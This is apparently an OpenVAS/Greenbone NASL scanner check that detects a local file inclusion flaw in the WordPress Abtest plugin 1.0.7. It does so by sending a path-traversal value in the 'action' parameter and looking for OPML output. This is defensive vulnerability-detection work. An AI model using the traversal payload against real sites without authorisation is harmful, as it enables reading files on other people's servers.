WordPress Abtest Local File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.807641");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2016-04-12 18:40:45 +0530 (Tue, 12 Apr 2016)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("WordPress Abtest Local File Inclusion Vulnerability");

  script_tag(name:"summary", value:"The WordPress plugin 'Abtest' is prone to local file inclusion vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read php files.");

  script_tag(name:"insight", value:"The flaws exist due to improper
  sanitization of 'action' parameter in 'abtest_admin.php' page.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to read arbitrary files.");

  script_tag(name:"affected", value:"WordPress Abtest plugin version 1.0.7");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39577/");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/abtest-master/abtest_admin.php?action=../../../../wp-links-opml';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
   pattern:'opml version="[0-9.]+"',
   extra_check:make_list("WordPress", "</opml>")))
{
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}